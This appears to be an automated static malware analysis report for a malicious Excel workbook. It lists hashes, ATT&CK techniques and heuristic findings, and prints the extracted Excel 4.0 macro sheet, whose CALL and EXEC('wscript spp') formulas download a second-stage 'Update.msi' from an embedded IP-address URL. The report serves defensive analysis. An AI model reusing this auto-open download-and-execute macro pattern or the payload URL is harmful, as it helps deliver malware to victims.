Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2331a0f4358b95ad…

MALICIOUS

Office (OOXML)

22.5 KB Created: 2006-04-02 03:07:01 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-25
MD5: 9dda572c3be19722a02da09b2843b78b SHA-1: 67b0e77415ed56c3edad0da41b054579b42692d8 SHA-256: 2331a0f4358b95ad781a7108bb214eaea44b3c8eb75f8787efc56b4e8fe11f5a
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains critical Excel 4.0 macros, including an Auto_Open defined name, which is a common technique for initial execution. The macros utilize dangerous functions like CALL and EXEC, and specifically reference WinAPI functions for downloading files, such as URLDownloadToFileA. The embedded URL 'http://46.17.98.187/index.php' is used in conjunction with the CALL function to download a file named 'Update.msi' to 'C:\ProgramData\'. This indicates a clear intent to download and execute a second-stage payload.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS
    Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2178 bytes
SHA-256: 76b3742619558d182919c6031a899345b62cda7c65038f3a1734026f93b843d5
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="F2:F26"/><sheetViews><sheetView showFormulas="1" tabSelected="1" topLeftCell="C1" workbookViewId="0"><selection activeCell="F17" sqref="F17"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="6" max="6" width="48.7109375" bestFit="1" customWidth="1"/></cols><sheetData><row r="2" spans="6:6" x14ac:dyDescent="0.25"><c r="F2" t="s"><v>6</v></c></row><row r="3" spans="6:6" x14ac:dyDescent="0.25"><c r="F3" t="s"><v>7</v></c></row><row r="4" spans="6:6" x14ac:dyDescent="0.25"><c r="F4" t="s"><v>8</v></c></row><row r="8" spans="6:6" x14ac:dyDescent="0.25"><c r="F8" t="s"><v>2</v></c></row><row r="9" spans="6:6" x14ac:dyDescent="0.25"><c r="F9" t="s"><v>3</v></c></row><row r="11" spans="6:6" x14ac:dyDescent="0.25"><c r="F11" t="s"><v>4</v></c></row><row r="12" spans="6:6" x14ac:dyDescent="0.25"><c r="F12" t="s"><v>5</v></c></row><row r="17" spans="6:6" x14ac:dyDescent="0.25"><c r="F17" t="s"><v>0</v></c></row><row r="18" spans="6:6" x14ac:dyDescent="0.25"><c r="F18" t="s"><v>1</v></c></row><row r="20" spans="6:6" x14ac:dyDescent="0.25"><c r="F20" t="b"><f>CALL(F8&amp;F9,F17&amp;F18,F11&amp;F12&amp;F11,0,F2&amp;F3&amp;F4,F23&amp;F24&amp;F26,0,0)</f><v>0</v></c></row><row r="22" spans="6:6" x14ac:dyDescent="0.25"><c r="F22" t="s"><v>9</v></c></row><row r="23" spans="6:6" x14ac:dyDescent="0.25"><c r="F23" t="s"><v>10</v></c></row><row r="24" spans="6:6" x14ac:dyDescent="0.25"><c r="F24" t="s"><v>11</v></c></row><row r="26" spans="6:6" x14ac:dyDescent="0.25"><c r="F26"><f>EXEC("wscript spp")</f><v>33</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.